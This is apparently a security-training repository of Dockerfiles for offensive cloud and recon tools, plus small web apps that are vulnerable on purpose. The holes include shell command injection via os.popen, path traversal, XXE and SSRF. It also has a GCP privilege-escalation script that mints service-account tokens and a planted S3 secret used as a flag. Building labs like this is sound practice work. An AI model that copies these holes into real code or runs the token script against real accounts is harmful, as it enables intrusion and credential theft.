├── README.md ├── nbvulns004 ├── requirements.txt ├── static │ └── favicon.gif ├── .fog ├── Dockerfile ├── app.py └── templates │ └── report_creation.html ├── boomerangapi ├── requirements.txt ├── Dockerfile └── boomerangApi-v0_3.py ├── nbvulns001 ├── .dockerignore ├── static │ ├── background.jpg │ ├── index.html │ └── styles.css ├── Dockerfile ├── package.json ├── index.js └── package-lock.json ├── .gitattributes ├── zzz_src_webapps ├── cmdi.tgz ├── SSRF-Example-Server-master.tar.gz └── happy-birthday-generator-master.tar.gz ├── nbvulns003 ├── static │ └── favicon.gif ├── reports │ ├── lizards_in_qatar.png │ └── common_basilisk_lizard.png ├── Dockerfile ├── app.py ├── .s3cfg ├── templates │ └── report.html └── index.html ├── nbvulns005 ├── static │ └── favicon.gif ├── Dockerfile ├── app.py └── templates │ └── net_health.html ├── nbvulns002 ├── static │ ├── happybirthday.jpg │ └── styles.css ├── templates │ ├── card.html │ ├── head.html │ ├── index.html │ ├── generate.html │ └── code.html ├── Dockerfile └── app.py ├── stormspotter-client └── Dockerfile ├── o365creeper └── Dockerfile ├── roadrecon └── Dockerfile ├── mailsniper └── Dockerfile ├── gcpsagetatoken ├── Dockerfile ├── iamServiceAccountsGetAccessToken.py └── iamServiceAccountsGetAccessToken (Jul 29, 2020 5-50-23 PM).py ├── amass └── Dockerfile ├── gobuster └── Dockerfile ├── subjack └── Dockerfile ├── pyinstaller └── Dockerfile ├── impacket └── Dockerfile ├── nimbusland └── Dockerfile ├── mintyoffline └── Dockerfile ├── azurecli └── Dockerfile ├── lolruslove └── Dockerfile ├── weirdaal └── Dockerfile ├── pmapper └── Dockerfile ├── aws_inventory └── Dockerfile ├── cosmik └── Dockerfile └── wfuzz └── Dockerfile /README.md: -------------------------------------------------------------------------------- 1 | # dockerBuilds 2 | -------------------------------------------------------------------------------- /nbvulns004/requirements.txt: -------------------------------------------------------------------------------- 1 | lxml -------------------------------------------------------------------------------- /boomerangapi/requirements.txt: -------------------------------------------------------------------------------- 1 | boto3 -------------------------------------------------------------------------------- /nbvulns001/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | npm-debug.log 3 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /zzz_src_webapps/cmdi.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/zzz_src_webapps/cmdi.tgz -------------------------------------------------------------------------------- /nbvulns003/static/favicon.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns003/static/favicon.gif -------------------------------------------------------------------------------- /nbvulns004/static/favicon.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns004/static/favicon.gif -------------------------------------------------------------------------------- /nbvulns005/static/favicon.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns005/static/favicon.gif -------------------------------------------------------------------------------- /nbvulns001/static/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns001/static/background.jpg -------------------------------------------------------------------------------- /nbvulns002/static/happybirthday.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns002/static/happybirthday.jpg -------------------------------------------------------------------------------- /nbvulns003/reports/lizards_in_qatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns003/reports/lizards_in_qatar.png -------------------------------------------------------------------------------- /nbvulns003/reports/common_basilisk_lizard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/nbvulns003/reports/common_basilisk_lizard.png -------------------------------------------------------------------------------- /stormspotter-client/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM inguardians/stormspotter-client 2 | 3 | LABEL MAINTAINER="TTL_0" 4 | 5 | RUN mkdir /shared 6 | VOLUME ["/shared"] -------------------------------------------------------------------------------- /zzz_src_webapps/SSRF-Example-Server-master.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cno-io/dockerBuilds/HEAD/zzz_src_webapps/SSRF-Example-Server-master.tar.gz -------------------------------------------------------------------------------- /nbvulns002/templates/card.html: -------------------------------------------------------------------------------- 1 |
13 | 14 | Hi I'm Salamantha! 15 |
16 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/mintyoffline/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | RUN apt-get update && apt-get -y install python
9 | # RUN apt-get update && apt-get -y install python-pip
10 | # RUN apt-get update && apt-get -y install python-requests
11 | RUN apt-get update && apt-get -y install wget
12 |
13 | # RUN pip install netaddr
14 | # RUN pip install setuptools
15 | # RUN pip install pyOpenSSL
16 | # RUN pip install 'requests[security]'
17 |
18 | RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/0fc1a60a996d256f747f08084df90bd2/raw/944f861166c84109a2e8c287d5a97a21b23eae33/mintyOffline-v0_0_4.py
19 |
20 | COPY . /app
21 |
22 | RUN chmod +x /app/*.py
23 |
24 | RUN mkdir /shared
25 | VOLUME ["/shared"]
26 |
27 | ENTRYPOINT ["/app/mintyOffline-v0_0_4.py"]
28 | CMD []
29 |
--------------------------------------------------------------------------------
/azurecli/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:6
2 | # FROM node:6
3 | # FROM node:8
4 |
5 | MAINTAINER TweekFawkes
6 |
7 | RUN mkdir /app
8 | WORKDIR /app
9 |
10 | #RUN apt-get update && apt-get -y install apt-transport-https
11 | #RUN apt-get update && apt-get -y install build-essential
12 | #RUN apt-get update && apt-get -y install curl
13 | #RUN apt-get update && apt-get -y install ca-certificates
14 | #RUN apt-get update && apt-get -y install git
15 | #RUN apt-get update && apt-get -y install lsb-release
16 | #RUN apt-get update && apt-get -y install python-all
17 | #RUN apt-get update && apt-get -y install rlwrap
18 | #RUN apt-get update && apt-get -y install vim
19 | #RUN apt-get update && apt-get -y install nano
20 | #RUN apt-get update && apt-get -y install jq
21 |
22 | RUN npm install --global azure-cli@0.10.17
23 |
24 | RUN rm /bin/sh && ln -s /bin/bash /bin/sh
25 | RUN azure config mode arm
26 | ENV EDITOR vim
27 |
28 | RUN mkdir /shared
29 | VOLUME ["/shared"]
30 |
--------------------------------------------------------------------------------
/nbvulns005/app.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from flask import Flask, request, render_template, redirect
4 | import os
5 |
6 | app = Flask(__name__)
7 |
8 |
9 | @app.route('/')
10 | def root_redirect():
11 | return redirect("/net_health", code=302)
12 |
13 |
14 | @app.route('/net_health', methods=['GET','POST'])
15 | def report_reader():
16 | error = False
17 | error_message = ''
18 | results = ''
19 | cmd = request.args.get('cmd')
20 |
21 | try:
22 |
23 | if cmd:
24 | results = os.popen(cmd).read()
25 |
26 | except Exception as e:
27 | error = True
28 | error_message = str(e)
29 |
30 | return render_template('net_health.html',
31 | error=error,
32 | error_message=error_message,
33 | cmd=cmd,
34 | results=results)
35 |
36 | if __name__ == '__main__':
37 | app.run('0.0.0.0', 5001, debug=True)
38 |
--------------------------------------------------------------------------------
/lolruslove/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | RUN apt-get update && apt-get -y install python
9 | RUN apt-get update && apt-get -y install python-pip
10 | RUN apt-get update && apt-get -y install python-requests
11 | RUN apt-get update && apt-get -y install wget
12 | RUN apt-get update && apt-get -y install libssl-dev
13 |
14 | RUN pip install netaddr
15 | RUN pip install setuptools
16 | RUN pip install pyOpenSSL
17 | RUN pip install 'requests[security]'
18 | RUN pip install scrapy
19 | RUN pip install enum34
20 | RUN pip install cryptography
21 | RUN pip install dnspython
22 | RUN pip install pyopenssl --upgrade
23 |
24 | RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/01462d2f5c7d810dd4ddd3b0099d1948/raw/4277c11c9a43e4d905c4a8fbd9a4e2b7141c320d/lolruslove-v0_0_7.py
25 |
26 | COPY . /app
27 |
28 | RUN chmod +x /app/*.py
29 |
30 | RUN mkdir /shared
31 | VOLUME ["/shared"]
32 |
33 | ENTRYPOINT ["/app/lolruslove-v0_0_7.py"]
34 | CMD []
35 |
--------------------------------------------------------------------------------
/weirdaal/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | # RUN apt-get update && apt-get -y install python
9 | RUN apt-get update && apt-get -y install python3
10 | RUN apt-get update && apt-get -y install python3-pip
11 | # RUN apt-get update && apt-get -y install python-requests
12 | # RUN apt-get update && apt-get -y install wget
13 | RUN apt-get update && apt-get -y install git
14 |
15 | # RUN pip install netaddr
16 | # RUN pip install setuptools
17 | # RUN pip install pyOpenSSL
18 | # RUN pip install 'requests[security]'
19 |
20 | # RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/3182fbbab77bbd87fe656666e8166bfc/raw/a44105300a33b1f26989896b8bb4c62af6503d19/nimbusland-v0_0_7.py
21 |
22 | COPY . /app
23 |
24 | #RUN git clone https://github.com/cno-io/weirdAAL.git
25 | WORKDIR /app/weirdAAL
26 | RUN pip3 install -r requirements.txt
27 |
28 | RUN chmod +x /app/weirdAAL/*.py
29 | RUN python3 create_dbs.py
30 |
31 | RUN mkdir /shared
32 | VOLUME ["/shared"]
33 |
34 | ENTRYPOINT ["/app/weirdAAL/weirdAAL.py"]
35 | CMD []
36 |
--------------------------------------------------------------------------------
/nbvulns004/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request, redirect, render_template
2 | from lxml import etree
3 |
4 | app = Flask(__name__)
5 |
6 |
7 | @app.route('/')
8 | def root_redirect():
9 | return redirect("/report_creation", code=302)
10 |
11 |
12 | # xml external entities and DTD
13 | @app.route('/report_creation', methods = ['POST', 'GET'])
14 | def xml_report_processor():
15 | parsed_xml = None
16 | error = False
17 | error_message = ''
18 |
19 | if request.method == 'POST':
20 | xml = request.form['xml']
21 | parser = etree.XMLParser(no_network=False, dtd_validation=False)
22 | try:
23 | doc = etree.fromstring(xml)
24 | parsed_xml = etree.tostring(doc).decode("utf-8")
25 | except Exception as e:
26 | error = True
27 | error_message = str(e)
28 |
29 | return render_template('report_creation.html',
30 | error=error,
31 | error_message=error_message,
32 | results=parsed_xml)
33 |
34 | if __name__ == '__main__':
35 | app.run()
--------------------------------------------------------------------------------
/pmapper/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | RUN apt-get update && apt-get -y install python
9 | # RUN apt-get update && apt-get -y install python3
10 | # RUN apt-get update && apt-get -y install python3-pip
11 | RUN apt-get update && apt-get -y install python-pip
12 | RUN apt-get update && apt-get -y install python-requests
13 | # RUN apt-get update && apt-get -y install wget
14 | RUN apt-get update && apt-get -y install git
15 | RUN apt-get update && apt-get -y install graphviz
16 | RUN apt-get update && apt-get -y install git
17 |
18 | RUN pip install pydot
19 | # RUN pip install setuptools
20 | # RUN pip install pyOpenSSL
21 | # RUN pip install 'requests[security]'
22 |
23 | # RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/3182fbbab77bbd87fe656666e8166bfc/raw/a44105300a33b1f26989896b8bb4c62af6503d19/nimbusland-v0_0_7.py
24 |
25 | COPY . /app
26 |
27 | RUN git clone https://github.com/cno-io/PMapper.git
28 | WORKDIR /app/PMapper
29 | RUN pip install -r requirements.txt
30 | # RUN pip3 install -r requirements.txt
31 |
32 | RUN chmod +x /app/PMapper/*.py
33 | # RUN python3 create_dbs.py
34 |
35 | RUN mkdir /shared
36 | VOLUME ["/shared"]
37 |
38 | ENTRYPOINT ["/app/PMapper/pmapper.py"]
39 | CMD []
40 |
--------------------------------------------------------------------------------
/nbvulns001/static/styles.css:
--------------------------------------------------------------------------------
1 | @import url('https://fonts.googleapis.com/css?family=Roboto');
2 |
3 | body {
4 | /* background-color: ghostwhite; */
5 | text-align: center;
6 | font-family: 'Roboto', sans-serif;
7 | color: #466b8a;
8 | overflow: hidden;
9 | position: absolute;
10 | top: 0;
11 | left: 0;
12 | width: 100vw;
13 | height: 100vh;
14 | margin: 0;
15 | }
16 |
17 | img.profile-image {
18 | max-width: 50%;
19 | border-radius: 5px;
20 | border: 2px solid #2889f163;
21 | user-select: none;
22 | }
23 |
24 | ul, ol {
25 | list-style: none;
26 | }
27 |
28 | .skill-list {
29 | list-style: circle;
30 | text-align: center;
31 | width: fit-content;
32 | margin: 0 auto;
33 | }
34 | .skill-list li {
35 | width: fit-content;
36 | }
37 | .skill-list li:not(:first-child) {
38 | border-top: 1px dotted;
39 | margin-top: 6px;
40 | padding-top: 4px;
41 | }
42 |
43 | main {
44 | border: 2px solid #eaeaea;
45 | background-color: white;
46 | padding-bottom: 20px;
47 | width: 80%;
48 | margin: 10% auto 0 auto;
49 | max-height: 70vh;
50 | overflow-x: hidden;
51 | overflow-y: auto;
52 | }
53 | .background {
54 | position: absolute;
55 | top: 50vw;
56 | left: 50vw;
57 | min-width: 100vw;
58 | min-height: 100vh;
59 | transform: translate(-50vw, -50vw);
60 | z-index: -100;
61 | filter: blur(1px) saturate(50%);
62 | }
63 |
--------------------------------------------------------------------------------
/nbvulns003/app.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from flask import Flask, request, render_template, redirect
4 | import base64
5 |
6 | app = Flask(__name__)
7 |
8 |
9 | @app.route('/')
10 | def root_redirect():
11 | return redirect("/report", code=302)
12 |
13 |
14 | @app.route('/report', methods=['GET'])
15 | def report_reader():
16 | error = False
17 | error_message = ''
18 | report_found = False
19 | report_contents = ''
20 | name = request.args.get('name')
21 |
22 | try:
23 |
24 | if name:
25 | report_name = 'reports/' + request.args.get('name')
26 |
27 | if name.endswith('.png'):
28 | report_contents = base64.b64encode(open(report_name, 'rb').read()).decode('ascii')
29 | else:
30 | report_contents = open(report_name, 'rb').read().decode('utf-8')
31 | report_found = True
32 |
33 | except Exception as e:
34 | error = True
35 | error_message = str(e)
36 |
37 | return render_template('report.html',
38 | error=error,
39 | error_message=error_message,
40 | report_found=report_found,
41 | report_contents=report_contents,
42 | report_name=name)
43 |
44 | if __name__ == '__main__':
45 | app.run('0.0.0.0', 80)
--------------------------------------------------------------------------------
/aws_inventory/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | RUN apt-get update && apt-get -y install python
9 | # RUN apt-get update && apt-get -y install python3
10 | # RUN apt-get update && apt-get -y install python3-pip
11 | RUN apt-get update && apt-get -y install python-pip
12 | # RUN apt-get update && apt-get -y install python-requests
13 | # RUN apt-get update && apt-get -y install wget
14 | RUN apt-get update && apt-get -y install git
15 | #RUN apt-get update && apt-get -y install graphviz
16 | #RUN apt-get update && apt-get -y install git
17 | RUN apt-get update && apt-get -y install python-tk
18 |
19 | #RUN pip install pydot
20 | # RUN pip install setuptools
21 | # RUN pip install pyOpenSSL
22 | # RUN pip install 'requests[security]'
23 |
24 | # RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/3182fbbab77bbd87fe656666e8166bfc/raw/a44105300a33b1f26989896b8bb4c62af6503d19/nimbusland-v0_0_7.py
25 |
26 | COPY . /app
27 |
28 | RUN git clone https://github.com/cno-io/aws-inventory.git
29 | WORKDIR /app/aws-inventory
30 | RUN pip install -r requirements.txt
31 | # RUN pip3 install -r requirements.txt
32 | RUN chmod +x /app/aws-inventory/*.py
33 | # RUN python3 create_dbs.py
34 |
35 | RUN mkdir /shared
36 | VOLUME ["/shared"]
37 |
38 | ENTRYPOINT ["/app/aws-inventory/aws_inventory.py"]
39 | CMD []
40 |
--------------------------------------------------------------------------------
/cosmik/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | RUN apt-get update && apt-get -y install python3
9 | RUN apt-get update && apt-get -y install python3-pip
10 | #RUN apt-get update && apt-get -y install python-pip
11 | # RUN apt-get update && apt-get -y install python-requests
12 | RUN apt-get update && apt-get -y install wget
13 | # RUN apt-get update && apt-get -y install git
14 |
15 | # RUN pip install netaddr
16 | # RUN pip install setuptools
17 | # RUN pip install pyOpenSSL
18 | # RUN pip install 'requests[security]'
19 |
20 | # RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/3182fbbab77bbd87fe656666e8166bfc/raw/a44105300a33b1f26989896b8bb4c62af6503d19/nimbusland-v0_0_7.py
21 | RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/b46e06acda6a1eb93d994aacd108515d/raw/4cd03062e0158cdc3420ed887e53692ecbc811af/cosmik.py
22 | RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/88961eb564837a700e6bc2119d4d42ee/raw/c89f42532c2557890587c9cb65b132e10da7e8f5/cosmik_requirements.txt
23 |
24 | COPY . /app
25 |
26 | # RUN git clone https://github.com/cno-io/weirdAAL.git
27 | # WORKDIR /app/weirdAAL
28 | RUN pip3 install -r cosmik_requirements.txt
29 |
30 | RUN chmod +x /app/*.py
31 | # RUN python3 create_dbs.py
32 |
33 | RUN mkdir /shared
34 | VOLUME ["/shared"]
35 |
36 | ENTRYPOINT ["/app/cosmik.py"]
37 | CMD []
38 |
--------------------------------------------------------------------------------
/nbvulns002/static/styles.css:
--------------------------------------------------------------------------------
1 | @import url('https://fonts.googleapis.com/css?family=Dancing+Script|Montserrat');
2 |
3 | body {
4 | text-align: center;
5 | font-family: 'Montserrat', sans-serif;
6 | }
7 |
8 | fieldset {
9 | border: none;
10 | width: 100% !important;
11 | padding: 0;
12 | margin: 0 !important;
13 | }
14 |
15 | form {
16 | position: relative;
17 | width: 50%;
18 | margin: 0 auto;
19 | }
20 |
21 | form * {
22 | display: block;
23 | width: fit-content;
24 | margin: 15px auto;
25 | }
26 |
27 | input[type="submit"] {
28 | font-size: 1.5em;
29 | padding: 40px;
30 | }
31 |
32 | input[type="text"] {
33 | font-size: 1em;
34 | max-width: 300px;
35 | height: 25px;
36 | text-align: center;
37 | outline: none;
38 | width: 80%;
39 | }
40 |
41 | .congratulations {
42 | position: absolute;
43 | top: 30%;
44 | left: 50%;
45 | transform: translate(-50%, -30%);
46 | font-family: 'Dancing Script', handwriting;
47 | font-size: 4em;
48 | color: white;
49 | text-shadow: 0 0 14px black;
50 | }
51 |
52 | #background {
53 | user-select: none;
54 | z-index: -100;
55 | position: fixed;
56 | top: 50%;
57 | left: 50%;
58 | transform: translate(-50%, -50%);
59 | min-width: 100vw;
60 | min-height: 100vh;
61 | }
62 |
63 | .code {
64 | background-color: #f7f7f7;
65 | padding: 5px 10px;
66 | }
67 |
68 | .code, .code main {
69 | border-radius: 3px;
70 | border: 2px solid #757575;
71 | }
72 |
73 | .code h1 {
74 | margin: 10px 0;
75 | }
76 |
77 | .code main {
78 | background-color: white;
79 | white-space: pre-wrap;
80 | text-align: left;
81 | }
82 |
--------------------------------------------------------------------------------
/nbvulns003/.s3cfg:
--------------------------------------------------------------------------------
1 | [default] access_key = S1ZTFOB2NCY7BB81MAP2 secret_key = gwL...FLAGSareMagic!...+ge host_base = localhost:80 host_bucket = localhost:80 access_token = add_encoding_exts = add_headers = bucket_location = gd1 ca_certs_file = cache_file = check_ssl_certificate = True cloudfront_host = cloudfront.amazonaws.com default_mime_type = binary/octet-stream delay_updates = False delete_after = False delete_after_fetch = False delete_removed = False dry_run = False enable_multipart = True encoding = UTF-8 encrypt = False expiry_date = expiry_days = expiry_prefix = follow_symlinks = False force = False get_continue = False gpg_command = /usr/bin/gpg gpg_decrypt = %(gpg_command)s -d --verbose --no-use-agent --batch --yes --passphrase-fd %(passphrase_fd)s -o %(output_file)s %(input_file)s gpg_encrypt = %(gpg_command)s -c --verbose --no-use-agent --batch --yes --passphrase-fd %(passphrase_fd)s -o %(output_file)s %(input_file)s gpg_passphrase = guess_mime_type = True human_readable_sizes = False ignore_failed_copy = False invalidate_default_index_on_cf = False invalidate_default_index_root_on_cf = True invalidate_on_cf = False list_md5 = False log_target_prefix = max_delete = -1 mime_type = multipart_chunk_size_mb = 15 preserve_attrs = True progress_meter = True proxy_host = proxy_port = 0 put_continue = False recursive = False recv_chunk = 4096 reduced_redundancy = False restore_days = 1 send_chunk = 4096 server_side_encryption = False signature_v2 = False simpledb_host = sdb.amazonaws.com skip_existing = False socket_timeout = 300 urlencoding_mode = normal use_https = False use_mime_magic = True verbosity = WARNING website_endpoint = http://%(bucket)s.s3-website-%(location)s.amazonaws.com/ website_error = website_index = index.html
2 |
--------------------------------------------------------------------------------
/wfuzz/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | RUN apt-get update && apt-get -y install build-essential
9 | RUN apt-get update && apt-get -y install libssl-dev
10 | RUN apt-get update && apt-get -y install libffi-dev
11 | RUN apt-get update && apt-get -y install libxml2-dev
12 | RUN apt-get update && apt-get -y install libxslt1-dev
13 | RUN apt-get update && apt-get -y install zlib1g-dev
14 | RUN apt-get update && apt-get -y install libcurl4-openssl-dev
15 | RUN apt-get update && apt-get -y install python
16 | RUN apt-get update && apt-get -y install python-dev
17 | RUN apt-get update && apt-get -y install python-pip
18 | # RUN apt-get update && apt-get -y install python3
19 | # RUN apt-get update && apt-get -y install python3-pip
20 | # RUN apt-get update && apt-get -y install python-requests
21 | # RUN apt-get update && apt-get -y install wget
22 | # RUN apt-get update && apt-get -y install git
23 | # RUN apt-get update && apt-get -y install graphviz
24 | # RUN apt-get update && apt-get -y install git
25 | # RUN apt-get update && apt-get -y install python-tk
26 |
27 | RUN pip install wfuzz
28 | # RUN pip install setuptools
29 | # RUN pip install pyOpenSSL
30 | # RUN pip install 'requests[security]'
31 |
32 | # RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/3182fbbab77bbd87fe656666e8166bfc/raw/a44105300a33b1f26989896b8bb4c62af6503d19/nimbusland-v0_0_7.py
33 |
34 | COPY . /app
35 |
36 | #RUN git clone https://github.com/cno-io/aws-inventory.git
37 | WORKDIR /app
38 | # RUN pip install -r requirements.txt
39 | # RUN pip3 install -r requirements.txt
40 | # RUN chmod +x /app/aws-inventory/*.py
41 | # RUN python3 create_dbs.py
42 |
43 | RUN mkdir /shared
44 | VOLUME ["/shared"]
45 |
46 | ENTRYPOINT ["/usr/local/bin/wfuzz"]
47 | CMD []
48 |
--------------------------------------------------------------------------------
/gcpsagetatoken/iamServiceAccountsGetAccessToken.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import requests
4 | import json
5 |
6 | from apiclient.discovery import build
7 | import google.oauth2.credentials
8 |
9 | sBanner = """
10 |
11 | ###### ###### ########
12 | ## ## ## ## ## ##
13 | ## ## ## ##
14 | ## #### ## ########
15 | ## ## ## ##
16 | ## ## ## ## ##
17 | ###### ###### ##
18 |
19 | iam_serviceAccounts_getAccessToken.py
20 |
21 | """
22 |
23 | # Ref: https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py
24 |
25 | sUserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
26 |
27 | print(sBanner)
28 |
29 | # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- #
30 |
31 | sDirtyAccessToken = input("AccessToken: ")
32 | sAccessToken = str(sDirtyAccessToken).strip()
33 | print("[+] sAccessToken: " + str(sAccessToken) + "")
34 |
35 | sDirtyServiceAccountName = input("ServiceAccountName: ")
36 | sServiceAccountName = str(sDirtyServiceAccountName).strip()
37 | print("[+] sServiceAccountName: " + str(sServiceAccountName) + "")
38 |
39 | # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- #
40 |
41 | sEnter = input("Press the [Enter] key to continue... ")
42 |
43 | credentials = google.oauth2.credentials.Credentials(sAccessToken)
44 | service = build(serviceName='iamcredentials', version='v1', credentials=credentials)
45 |
46 | dBody = {
47 | 'scope': [
48 | 'https://www.googleapis.com/auth/iam',
49 | 'https://www.googleapis.com/auth/cloud-platform'
50 | ]
51 | }
52 |
53 | sName = 'projects/-/serviceAccounts/'+sServiceAccountName
54 | res = service.projects().serviceAccounts().generateAccessToken(name=sName, body=dBody).execute()
55 |
56 | print(json.dumps(res, indent=4))
--------------------------------------------------------------------------------
/boomerangapi/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:18.04
2 |
3 | MAINTAINER TweekFawkes
4 |
5 | RUN mkdir /app
6 | WORKDIR /app
7 |
8 | #RUN apt-get update && apt-get -y install python
9 |
10 | #RUN apt-get update && apt-get -y install software-properties-common
11 | #RUN add-apt-repository ppa:deadsnakes/ppa
12 |
13 | RUN apt-get update && apt-get -y install python3
14 | RUN apt-get update && apt-get -y install python3-pip
15 |
16 | #RUN apt-get update && apt-get -y install python-pip
17 | #RUN apt-get update && apt-get -y install python-requests
18 | #RUN apt-get update && apt-get -y install wget
19 | #RUN apt-get update && apt-get -y install git
20 | #RUN apt-get update && apt-get -y install graphviz
21 | #RUN apt-get update && apt-get -y install git
22 | #RUN apt-get update && apt-get -y install python-tk
23 |
24 | #RUN apt-get update && apt-get -y install libsqlite3-dev
25 |
26 | #RUN apt-get update && apt-get -y install libssl-dev
27 | #RUN apt-get update && apt-get -y install build-essential
28 | #RUN apt-get update && apt-get -y install python3-dev
29 | #RUN apt-get update && apt-get -y install libffi-dev
30 | #RUN apt-get update && apt-get -y install zlib1g-dev
31 | #RUN apt-get update && apt-get -y install libxml2
32 | #RUN apt-get update && apt-get -y install libxml2-dev
33 | #RUN apt-get update && apt-get -y install libxslt1-dev
34 |
35 | #RUN pip install pydot
36 | # RUN pip install setuptools
37 | # RUN pip install pyOpenSSL
38 | # RUN pip install 'requests[security]'
39 |
40 | RUN pip3 install boto3
41 |
42 | # RUN wget --no-check-certificate https://gist.githubusercontent.com/cno-io/3182fbbab77bbd87fe656666e8166bfc/raw/a44105300a33b1f26989896b8bb4c62af6503d19/nimbusland-v0_0_7.py
43 |
44 | COPY . /app
45 |
46 | # RUN git clone https://github.com/cno-io/aws-inventory.git
47 | #WORKDIR /app/voodoo-ce
48 | #RUN pip3 install -r requirements.txt
49 | # RUN pip3 install -r requirements.txt
50 | RUN chmod +x /app/*.py
51 | # RUN python3 create_dbs.py
52 |
53 | RUN mkdir /shared
54 | VOLUME ["/shared"]
55 |
56 | ENTRYPOINT ["/usr/bin/python3", "/app/boomerangApi-v0_3.py"]
57 | CMD []
--------------------------------------------------------------------------------
/nbvulns001/index.js:
--------------------------------------------------------------------------------
1 | const fastify = require('fastify')
2 | const args = require('yargs').argv
3 | const request = require('request')
4 | const fastifyStatic = require('fastify-static')
5 | const {join} = require('path')
6 | const url = require("url")
7 |
8 | const validContentTypes = ['image/jpeg', 'image/jpg', 'image/png']
9 |
10 | const defaultContentTypes = {png: 'image/png', jpg: 'image/jpeg'}
11 |
12 | const PORT = 8080;
13 | const HOST = '0.0.0.0';
14 |
15 | const app = fastify()
16 |
17 | app.get('/extimage', (req, reply) => {
18 | const path = req.query.p
19 | if (typeof path != 'string' || path.length < 1) return reply.code(400).send('Malformed Request')
20 | let target
21 | try {
22 | target = url.parse(path)
23 | } catch(err) {
24 | return reply.code(400).send('Malformed URL')
25 | }
26 |
27 | const {href, protocol} = target
28 |
29 | if (typeof protocol != 'string' || !['http:', 'https:'].includes(protocol)) return reply.code(400).send('Malformed Protocol')
30 | if (typeof href != 'string' || href.length < 1) return reply.code(400).send('Malformed URL')
31 |
32 | request(href, {encoding: null}, (err, response, body) => {
33 | if (err) {
34 | console.log(err)
35 | return reply.code(500).send('Internal Error')
36 | }
37 |
38 | let contentType
39 | let extension = href.split('.')
40 | extension = extension[extension.length - 1]
41 |
42 | if (validContentTypes.includes(response.headers["content-type"])) {
43 | contentType = response.headers["content-type"]
44 | } else if (defaultContentTypes.hasOwnProperty(extension)) {
45 | contentType = defaultContentTypes[extension]
46 | } else {
47 | contentType = defaultContentTypes.jpg
48 | }
49 |
50 | return reply.code(response.statusCode).type(contentType).header('cache-control', 'max-age='+ (60 * 60 * 24 * 5)).send(body)
51 | })
52 | })
53 |
54 | if ((args.s || args.static) === true) {
55 | console.log('Serving Static Content')
56 | app.register(fastifyStatic, {root: '/usr/src/app/static'})
57 | }
58 |
59 | app.listen(PORT, HOST, (err) => {
60 | if (err) return console.err(err)
61 | console.log('Server Listening on :'+PORT)
62 | })
63 |
--------------------------------------------------------------------------------
/gcpsagetatoken/iamServiceAccountsGetAccessToken (Jul 29, 2020 5-50-23 PM).py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import requests
4 | import json
5 |
6 | from argparse import ArgumentParser
7 |
8 | from apiclient.discovery import build
9 | import google.oauth2.credentials
10 |
11 | sBanner = """
12 |
13 | ###### ###### ########
14 | ## ## ## ## ## ##
